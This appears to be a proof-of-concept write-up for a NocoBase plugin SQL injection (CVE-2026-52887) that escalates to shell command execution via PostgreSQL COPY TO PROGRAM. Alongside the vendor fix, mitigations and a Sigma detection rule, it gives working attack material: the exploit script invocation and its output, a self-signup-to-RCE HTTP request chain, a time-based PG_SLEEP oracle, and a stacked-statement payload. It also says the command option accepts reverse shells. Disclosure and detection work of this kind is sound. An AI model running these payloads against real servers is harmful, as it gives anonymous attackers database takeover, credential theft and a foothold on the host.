SQL injection in the myInAppChannels:list action of
NocoBase's
@nocobase/plugin-notification-in-app-message (≤ 2.0.60). The
filter[latestMsgReceiveTimestamp][$lt] request parameter is interpolated
directly into a raw Sequelize.literal() SQL string with no escaping or binding.
Via the PostgreSQL pg driver's stacked-statement support the injection reaches
COPY … TO PROGRAM, and because the vendor's default compose creates the
nocobase DB role as a superuser, that yields shell command execution as the
postgres OS user. The endpoint requires a logged-in user, but the default
auth-basic plugin ships with self-signup enabled, so any anonymous visitor can
register and reach it.
| CVE | CVE-2026-52887 |
| Product | NocoBase (@nocobase/plugin-notification-in-app-message) |
| Affected | ≤ 2.0.60 (verified on nocobase/nocobase:2.0.57) |
| Fixed | 2.0.61 |
| Class | SQL Injection (CWE-89) → OS command execution |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| Auth | Effectively unauthenticated — default auth-basic allowSignUp: true |
| Status | CONFIRMED VULNERABLE — verified end-to-end on 2.0.57 |
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
myInAppChannels:list handler (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;filter.latestMsgReceiveTimestamp.$lt comes straight from the request query
(filter[latestMsgReceiveTimestamp][$lt]=…) and is concatenated into a
Sequelize.literal() — raw SQL, no parameter binding, no type coercion. An
attacker closes the comparison and appends arbitrary SQL.
- NocoBase runs on PostgreSQL via the
pgdriver, which permits stacked statements (… ; …). The injected fragment appends a second statement. - The vendor's default
docker-compose.ymlcreates thenocobaserole via the postgres image'sPOSTGRES_USER, which is always a superuser. - A superuser can run
COPY (…) TO PROGRAM '<shell>', executing<shell>as the postgres OS user inside the DB container.
The myInAppChannels ACL is loggedIn, but the default auth-basic plugin ships
with allowSignUp: true. An anonymous attacker self-registers
(POST /api/auth:signUp?authenticator=basic), signs in for a bearer token, and
proceeds — so on a default install this is unauthenticated in practice.
defineMyInAppChannels.ts adds parseLatestMsgReceiveTimestampLt(), which forces
the value through Number() (rejecting non-finite / non-numeric input with a 400)
and switches to a bound comparison:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Raw HTTP chain:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>--cmd accepts any shell command (reverse shell, OAST callback, reading DB rows
via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).
No docker bridge on this host, so run both containers with host networking:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proofFixed-version boundary (rejected):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200See EVIDENCE.txt for the captured transcript and
ANALYSIS.md for the source-level walkthrough.
CONFIRMED VULNERABLE on nocobase/nocobase:2.0.57, verified by two independent
techniques:
- Time-based blind — the
PG_SLEEP(5)payload delays the response ~5.0s while an identical request without the sleep returns in ~0.03s on the same endpoint (rules out a rate limiter / retry artifact). - Stacked-statement RCE — a file that did not exist before the request contains
uid=999(postgres) gid=999(postgres), the real output ofid(1)run as the postgres OS user, not an echo of the payload.
PATCHED on nocobase/nocobase:2.0.61 — both payloads return HTTP 400 while a
numeric $lt still returns 200.
Remote code execution as the postgres OS user inside the database container: full read/write of the NocoBase database, disclosure of every stored secret and user credential, and a foothold for lateral movement. Reachable by any anonymous visitor on a default install.
- Upgrade to NocoBase ≥ 2.0.61.
- Do not run the application's PostgreSQL role as a superuser; grant only the
privileges the app needs (removes the
COPY … TO PROGRAMprimitive). - Disable public self-signup (
allowSignUp: false) where not required.
myInAppChannels:list requests whose filter[latestMsgReceiveTimestamp][$lt]
value is not a plain number, and PostgreSQL logs containing COPY … TO PROGRAM:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (webserver access log):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: criticalMIT. © Caio Fabrício (BiiTts).